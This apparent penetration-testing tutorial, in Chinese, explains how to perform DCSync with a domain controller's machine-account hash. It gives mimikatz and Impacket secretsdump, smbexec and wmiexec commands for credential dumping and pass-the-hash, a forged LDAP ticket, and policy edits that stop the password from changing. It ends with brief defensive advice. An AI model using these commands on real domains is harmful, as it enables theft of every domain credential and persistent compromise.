域渗透——使用MachineAccount实现DCSync

[[344260]]

 0x00 前言

在之前的文章《域渗透——DCSync》提到过DCSync的利用条件:

获得以下任一用户的权限:

· Administrators组内的用户

· Domain Admins组内的用户

· Enterprise Admins组内的用户

· 域控制器的计算机帐户

本文将要补全上篇文章中未提到的最后一种利用方法,介绍如何通过域控制器的计算机帐户口令hash实现DCSync。

0x01 简介

本文将要介绍以下内容:

· MachineAccount简介

· 获得MachineAccount口令hash的方法

· 使用MachineAccount实现DCSync

· 防御检测

0x02 MachineAccount简介

MachineAccount是每台计算机在安装系统后默认生成的计算机帐户。

计算机帐户的密码存储在注册表的位置:HKLM\SECURITY\Policy\Secrets\$machine.ACC。

如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中。

计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令。

关闭当前计算机帐户密码自动更新的两种方法(适用于工作组):

1.修改组策略

组策略位置:

Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\

如下图:

默认未启用,如果设置为启用后,将会停止更新密码。

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc785826(v=ws.10)

2.直接修改注册表

注册表位置:HKLM\System\CurrentControlSet\Services\Netlogon\Parameters\

将DisablePasswordChange的值设为1。

关闭域内计算机帐户密码自动更新的两种方法(适用于域网络):

1.修改组策略

这里需要修改域组策略,在域控制器上打开Group Policy Management后,选择Default Domain Policy。

如下图:

组策略位置:

Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\

2.修改组策略的配置文件

Default Domain Policy对应的guid为31B2F340-016D-11D2-945F-00C04FB984F9

配置文件路径为:

例如我的测试环境下,路径对应为:

\\test.com\SYSVOL\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit

修改文件GptTmpl.inf,在[Registry Values]下添加新的内容:

MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1

如下图:

强制域控制器更新组策略,命令如下:

gpupdate /force

配置完成,将系统时间调快30天,hash保持不变。

0x03 获得MachineAccount口令hash的方法

1.通过注册表文件导出当前计算机帐户的口令hash

mimikatz命令示例:

privilege::debug
token::elevate
lsadump::secrets

返回的结果中,$machine.ACC项对应计算机帐户,如下图:

其他从注册表导出的方法可参考之前的文章《渗透技巧——通过SAM数据库获得本地用户hash》

2.使用DCSync导出所有计算机帐户的口令hash

(1)使用mimikatz

在域控制器上使用mimikatz导出域内所有用户的hash,命令示例:

mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit

其中以$字符结尾的为计算机帐户。

其他环境下的使用方法可参考之前的文章《域渗透——DCSync》。

(2)使用secretsdump.py

需要安装Python环境和Impacket包,实际使用时可以将Python代码编译成exe文件。

命令示例:

python secretsdump.py test/Administrator:[email protected]

secretsdump.py相比于mimikatz,最大的优点是支持从域外的计算机连接至域控制器。

secretsdump.py的实现原理:

使用计算机帐户口令hash通过smbexec或者wmiexec远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的hash,同时通过Dcsync或从NTDS.dit文件中导出所有域用户的hash。

3.通过漏洞CVE-2020-1472

参考资料:

https://www.secura.com/pathtoimg.php?id=2055

CVE-2020-1472能够在未授权的状态下远程修改目标计算机帐户的口令hash。

注:

CVE-2020-1472只能修改域控制器NTDS.dit文件中保存的计算机帐户hash,无法修改注册表中保存的本地计算机帐户hash。

当域控制器中NTDS.dit文件和注册表文件的计算机帐户口令hash不同步时,有可能影响系统的正常功能。

0x04 使用MachineAccount实现DCSync

例如,我们获得了域控制器DC1的计算机帐户口令hash为7da530fba3b15a2ea21ce7db8110d57b。

1.使用mimikatz

这里需要制作白银票据(Silver Ticket),接着获得LDAP服务的访问权限,细节可参考之前的文章《域渗透——Pass The Ticket》。

命令示例:

mimikatz "kerberos::golden /domain:test.com /sid:S-1-5-21-254706111-4049838133-2416586677 /target:DC1.test.com /service:LDAP /rc4:7da530fba3b15a2ea21ce7db8110d57b /user:krbtgt /ptt" "lsadump::dcsync /domain:test.com /all /csv" exit

在细节上需要注意以下方面:

· 只能在域内计算机上运行,不支持域外

· /sid表示域的sid,获取方法可参考之前的文章《渗透基础——活动目录信息的获取》

· /rc4表示计算机帐户的NTLM hash

· /user:krbtgt表示伪造成用户krbtgt,生成票据

注:域sid的简单获取方法。

任一域用户的sid去除最后一位就是域的sid。

2.使用secretsdump

命令示例:

python secretsdump.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/[email protected]

在细节上需要注意以下方面:

· secretsdump支持从域外的计算机连接至域控制器

· 如果使用域内普通计算机帐户的口令hash连接对应的计算机,那么会失败,提示rpc_s_access_denied

· 可以通过wmiexec.py或smbexec.py远程执行cmd命令

命令示例:

python smbexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/[email protected] whoami /priv
python wmiexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/[email protected] whoami /priv

注:

使用计算机帐户具有高权限,如下图:

0x05 防御检测

检测DCSync后门的方法可参考《域渗透——DCSync》

站在防御的角度,如果域管理员的权限被攻击者获得,在尝试踢出攻击者的过程中,不仅需要修改域管理员用户的口令,同样需要更新计算器帐户的口令hash,检测域组策略是否被配置成开启DisablePasswordChange

0x06 小结

本文介绍了通过域控制器的计算机帐户口令hash实现DCSync的方法,分析利用思路,给出防御建议。

【编辑推荐】

  1. 如何在 Linux 终端中连接 WiFi?
  2. 分析Netflix公司产品Spinnaker的微服务实践
  3. 如何在Docker容器中运行Docker 「3种方法」
  4. “禁令”周日在美生效:TikTok坚持诉讼,企业微信海外版悄悄改名
  5. 使用开源工具 nccm 管理 SSH 连接

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/135400.html<

赞 (0)
管理的头像管理
上一篇2025-03-01 14:41
下一篇 2025-03-01 14:42

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注